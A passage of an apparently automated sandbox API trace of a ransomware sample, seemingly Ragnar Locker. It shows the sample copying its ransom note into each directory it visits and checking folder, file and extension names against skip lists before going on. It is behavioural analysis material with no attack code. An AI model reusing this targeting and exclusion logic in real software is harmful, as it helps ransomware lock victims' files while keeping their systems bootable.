(in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\" [0047.906] lstrcpyW (in: lpString1=0x1ec964, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\" [0047.906] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\RGNR_FD7BD9FC.txt" [0047.906] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0047.908] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*.*" [0047.908] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*.*", nBufferLength=0x104, lpBuffer=0x1ebc84, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x36 [0047.908] lstrcpyW (in: lpString1=0x1eba7c, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.908] lstrcpyW (in: lpString1=0x1ebcea, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.908] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*.*", lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6ecc3ce0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ecc3ce0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a12e8 [0047.908] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0047.908] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6ecc3ce0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ecc3ce0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.908] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0047.908] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0047.908] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xdbe166c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdbe166c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW", cAlternateFileName="")) returned 1 [0047.908] lstrcmpiW (lpString1="DW", lpString2=".") returned 1 [0047.908] lstrcmpiW (lpString1="DW", lpString2="..") returned 1 [0047.908] lstrcmpiW (lpString1="DW", lpString2="Windows") returned -1 [0047.908] lstrcmpiW (lpString1="DW", lpString2="Windows.old") returned -1 [0047.908] lstrcmpiW (lpString1="DW", lpString2="Tor browser") returned -1 [0047.908] lstrcmpiW (lpString1="DW", lpString2="Internet Explorer") returned -1 [0047.908] lstrcmpiW (lpString1="DW", lpString2="Google") returned -1 [0047.909] lstrcmpiW (lpString1="DW", lpString2="Opera") returned -1 [0047.909] lstrcmpiW (lpString1="DW", lpString2="Opera Software") returned -1 [0047.909] lstrcmpiW (lpString1="DW", lpString2="Mozilla") returned -1 [0047.909] lstrcmpiW (lpString1="DW", lpString2="Mozilla Firefox") returned -1 [0047.909] lstrcmpiW (lpString1="DW", lpString2="$Recycle.Bin") returned 1 [0047.909] lstrcmpiW (lpString1="DW", lpString2="ProgramData") returned -1 [0047.909] lstrcmpiW (lpString1="DW", lpString2="All Users") returned 1 [0047.909] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x36 [0047.909] lstrcpyW (in: lpString1=0x1ec0fe, lpString2="DW" | out: lpString1="DW") returned="DW" [0047.909] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\" [0047.909] lstrcpyW (in: lpString1=0x1ebe8c, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\" [0047.909] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\RGNR_FD7BD9FC.txt" [0047.909] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0047.965] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\*.*" [0047.965] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\*.*", nBufferLength=0x104, lpBuffer=0x1eb1ac, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x39 [0047.965] lstrcpyW (in: lpString1=0x1eafa4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.965] lstrcpyW (in: lpString1=0x1eb218, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0047.965] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6ed5c260, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ed5c260, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0047.965] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0047.965] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6ed5c260, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ed5c260, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.965] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0047.965] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0047.966] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a0ba500, ftCreationTime.dwHighDateTime=0x1c982ad, ftLastAccessTime.dwLowDateTime=0x6086b2d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4a0ba500, ftLastWriteTime.dwHighDateTime=0x1c982ad, nFileSizeHigh=0x0, nFileSizeLow=0x14e760, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBGHELP.DLL", cAlternateFileName="")) returned 1 [0047.966] lstrcmpiW (lpString1="DBGHELP.DLL", lpString2=".") returned 1 [0047.966] lstrcmpiW (lpString1="DBGHELP.DLL", lpString2="..") returned 1 [0047.966] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f8f7000, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdb9ec040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2f8f7000, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0xf2b88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW20.EXE", cAlternateFileName="")) returned 1 [0047.966] lstrcmpiW (lpString1="DW20.EXE", lpString2=".") returned 1 [0047.966] lstrcmpiW (lpString1="DW20.EXE", lpString2="..") returned 1 [0047.966] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 1 [0047.966] lstrcmpiW (lpString1="DWTRIG20.EXE", lpString2=".") returned 1 [0047.966] lstrcmpiW (lpString1="DWTRIG20.EXE", lpString2="..") returned 1 [0047.966] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ed5c260, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6ed5c260, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0047.966] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0047.966] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0047.966] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ed5c260, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6ed5c260, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0047.966] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0047.966] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6ed5c260, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ed5c260, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0047.966] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6ed5c260, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6ed5c260, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.966] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a0ba500, ftCreationTime.dwHighDateTime=0x1c982ad, ftLastAccessTime.dwLowDateTime=0x6086b2d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4a0ba500, ftLastWriteTime.dwHighDateTime=0x1c982ad, nFileSizeHigh=0x0, nFileSizeLow=0x14e760, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBGHELP.DLL", cAlternateFileName="")) returned 1 [0047.966] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x39 [0047.966] lstrcpyW (in: lpString1=0x1eb62c, lpString2="DBGHELP.DLL" | out: lpString1="DBGHELP.DLL") returned="DBGHELP.DLL" [0047.966] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DBGHELP.DLL") returned=".DLL" [0047.966] lstrcmpiW (lpString1="DBGHELP.DLL", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0047.966] lstrcmpiW (lpString1="DBGHELP.DLL", lpString2="autorun.inf") returned 1 [0047.966] lstrcmpiW (lpString1="DBGHELP.DLL", lpString2="boot.ini") returned 1 [0047.966] lstrcmpiW (lpString1="DBGHELP.DLL", lpString2="bootfont.bin") returned 1 [0047.966] lstrcmpiW (lpString1="DBGHELP.DLL", lpString2="bootsect.bak") returned 1 [0047.966] lstrcmpiW (lpString1="DBGHELP.DLL", lpString2="bootmgr") returned 1 [0047.966] lstrcmpiW (lpString1="DBGHELP.DLL", lpString2="bootmgr.efi") returned 1 [0047.966] lstrcmpiW (lpString1="DBGHELP.DLL", lpString2="bootmgfw.efi") returned 1 [0047.966] lstrcmpiW (lpString1="DBGHELP.DLL", lpString2="desktop.ini") returned -1 [0047.967] lstrcmpiW (lpString1="DBGHELP.DLL", lpString2="iconcache.db") returned -1 [0047.967] lstrcmpiW (lpString1="DBGHELP.DLL", lpString2="ntldr") returned -1 [0047.967] lstrcmpiW (lpString1="DBGHELP.DLL", lpString2="ntuser.dat") returned -1 [0047.967] lstrcmpiW (lpString1="DBGHELP.DLL", lpString2="ntuser.dat.log") returned -1 [0047.967] lstrcmpiW (lpString1="DBGHELP.DLL", lpString2="ntuser.ini") returned -1 [0047.967] lstrcmpiW (lpString1="DBGHELP.DLL", lpString2="thumbs.db") returned -1 [0047.967] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0047.967] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0047.967] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0047.967] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f8f7000, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdb9ec040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2f8f7000, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0xf2b88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW20.EXE", cAlternateFileName="")) returned 1 [0047.967] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x39 [0047.967] lstrcpyW (in: lpString1=0x1eb62c, lpString2="DW20.EXE" | out: lpString1="DW20.EXE") returned="DW20.EXE" [0047.967] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned=".EXE" [0047.967] lstrcmpiW (lpString1="DW20.EXE", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0047.967] lstrcmpiW (lpString1="DW20.EXE", lpString2="autorun.inf") returned 1 [0047.967] lstrcmpiW (lpString1="DW20.EXE", lpString2="boot.ini") returned 1 [0047.967] lstrcmpiW (lpString1="DW20.EXE", lpString2="bootfont.bin") returned 1 [0047.967] lstrcmpiW (lpString1="DW20.EXE", lpString2="bootsect.bak") returned 1 [0047.967] lstrcmpiW (lpString1="DW20.EXE", lpString2="bootmgr") returned 1 [0047.967] lstrcmpiW (lpString1="DW20.EXE", lpString2="bootmgr.efi") returned 1 [0047.967] lstrcmpiW (lpString1="DW20.EXE", lpString2="bootmgfw.efi") returned 1 [0047.967] lstrcmpiW (lpString1="DW20.EXE", lpString2="desktop.ini") returned 1 [0047.967] lstrcmpiW (lpString1="DW20.EXE", lpString2="iconcache.db") returned -1 [0047.967] lstrcmpiW (lpString1="DW20.EXE", lpString2="ntldr") returned -1 [0047.967] lstrcmpiW (lpString1="DW20.EXE", lpString2="ntuser.dat") returned -1 [0047.967] lstrcmpiW (lpString1="DW20.EXE", lpString2="ntuser.dat.log") returned -1 [0047.967] lstrcmpiW (lpString1="DW20.EXE", lpString2="ntuser.ini") returned -1 [0047.967] lstrcmpiW (lpString1="DW20.EXE", lpString2="thumbs.db") returned -1 [0047.967] lstrcmpiW (lpString1=".EXE", lpString2=".db") returned 1 [0047.967] lstrcmpiW (lpString1=".EXE", lpString2=".sys") returned -1 [0047.967] lstrcmpiW (lpString1=".EXE", lpString2=".dll") returned 1 [0047.967] lstrcmpiW (lpString1=".EXE", lpString2=".lnk") returned -1 [0047.967] lstrcmpiW (lpString1=".EXE", lpString2=".msi") returned -1 [0047.967] lstrcmpiW (lpString1=".EXE", lpString2=".drv") returned 1 [0047.967] lstrcmpiW (lpString1=".EXE", lpString2=".exe") returned 0 [0047.967] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e5e4300, ftCreationTime.dwHighDateTime=0x1cba06d, ftLastAccessTime.dwLowDateTime=0xdbe62980, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2e5e4300, ftLastWriteTime.dwHighDateTime=0x1cba06d, nFileSizeHigh=0x0, nFileSizeLow=0x99ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWTRIG20.EXE", cAlternateFileName="")) returned 1 [0047.967] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x39 [0047.968] lstrcpyW (in: lpString1=0x1eb62c, lpString2="DWTRIG20.EXE" | out: lpString1="DWTRIG20.EXE") returned="DWTRIG20.EXE" [0047.968] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DWTRIG20.EXE") returned=".EXE" [0047.968] lstrcmpiW (lpString1="DWTRIG20.EXE", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0047.968] lstrcmpiW (lpString1="DWTRIG20.EXE", lpString2="autorun.inf") returned 1 [0047.968] lstrcmpiW (lpString1="DWTRIG20.EXE", lpString2="boot.ini") returned 1 [0047.968] lstrcmpiW (lpString1="DWTRIG20.EXE", lpString2="bootfont.bin") returned 1 [0047.968] lstrcmpiW (lpString1="DWTRIG20.EXE", lpString2="bootsect.bak") returned 1 [0047.968] lstrcmpiW (lpString1="DWTRIG20.EXE", lpString2="bootmgr") returned 1 [0047.968] lstrcmpiW (lpString1="DWTRIG20.EXE", lpString2="bootmgr.efi") returned 1 [0047.968] lstrcmpiW (lpString1="DWTRIG20.EXE", lpString2="bootmgfw.efi") returned 1 [0047.968] lstrcmpiW (lpString1="DWTRIG20.EXE", lpString2="desktop.ini") returned 1 [0047.968] lstrcmpiW (lpString1="DWTRIG20.EXE", lpString2="iconcache.db") returned -1 [0047.968] lstrcmpiW (lpString1="DWTRIG20.EXE", lpString2="ntldr") returned -1 [0047.968] lstrcmpiW (lpString1="DWTRIG20.EXE", lpString2="ntuser.dat") returned -1 [0047.968] lstrcmpiW (lpString1="DWTRIG20.EXE", lpString2="ntuser.dat.log") returned -1 [0047.968] lstrcmpiW (lpString1="DWTRIG20.EXE", lpString2="ntuser.ini") returned -1 [0047.968] lstrcmpiW (lpString1="DWTRIG20.EXE", lpString2="thumbs.db") returned -1 [0047.968] lstrcmpiW (lpString1=".EXE", lpString2=".db") returned 1 [0047.968] lstrcmpiW (lpString1=".EXE", lpString2=".sys") returned -1 [0047.968] lstrcmpiW (lpString1=".EXE", lpString2=".dll") returned 1 [0047.968] lstrcmpiW (lpString1=".EXE", lpString2=".lnk") returned -1 [0047.968] lstrcmpiW (lpString1=".EXE", lpString2=".msi") returned -1 [0047.968] lstrcmpiW (lpString1=".EXE", lpString2=".drv") returned 1 [0047.968] lstrcmpiW (lpString1=".EXE", lpString2=".exe") returned 0 [0047.968] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ed5c260, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6ed5c260, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0047.968] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x39 [0047.968] lstrcpyW (in: lpString1=0x1eb62c, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0047.968] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\RGNR_FD7BD9FC.txt") returned=".txt" [0047.968] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0047.968] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ed5c260, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x6ed5c260, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0047.968] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0047.968] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQUATION", cAlternateFileName="")) returned 1 [0047.968] lstrcmpiW (lpString1="EQUATION", lpString2=".") returned 1 [0047.968] lstrcmpiW (lpString1="EQUATION", lpString2="..") returned 1 [0047.968] lstrcmpiW (lpString1="EQUATION", lpString2="Windows") returned -1 [0047.969] lstrcmpiW (lpString1="EQUATION", lpString2="Windows.old") returned -1 [0047.969] lstrcmpiW (lpString1="EQUATION", lpString2="Tor browser") returned -1 [0047.969] lstrcmpiW (lpString1="EQUATION", lpString2="Internet Explorer") returned -1 [0047.969] lstrcmpiW (lpString1="EQUATION", lpString2="Google") returned -1 [0047.969] lstrcmpiW (lpString1="EQUATION", lpString2="Opera") returned -1 [0047.969] lstrcmpiW (lpString1="EQUATION", lpString2="Opera Software") returned -1 [0047.969] lstrcmpiW (lpString1="EQUATION", lpString2="Mozilla") returned -1 [0047.969] lstrcmpiW (lpString1="EQUATION", lpString2="Mozilla Firefox") returned -1 [0047.969] lstrcmpiW (lpString1="EQUATION", lpString2="$Recycle.Bin") returned 1 [0047.969] lstrcmpiW (lpString1="EQUATION", lpString2="ProgramData") returned -1 [0047.969] lstrcmpiW (lpString1="EQUATION", lpString2="All Users") returned 1 [0047.969] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x36 [0047.969] lstrcpyW (in: lpString1=0x1ec0fe, lpString2="EQUATION" | out: lpString1="EQUATION") returned="EQUATION" [0047.969] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\" [0047.969] lstrcpyW (in: lpString1=0x1ebe8c, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\" | out: 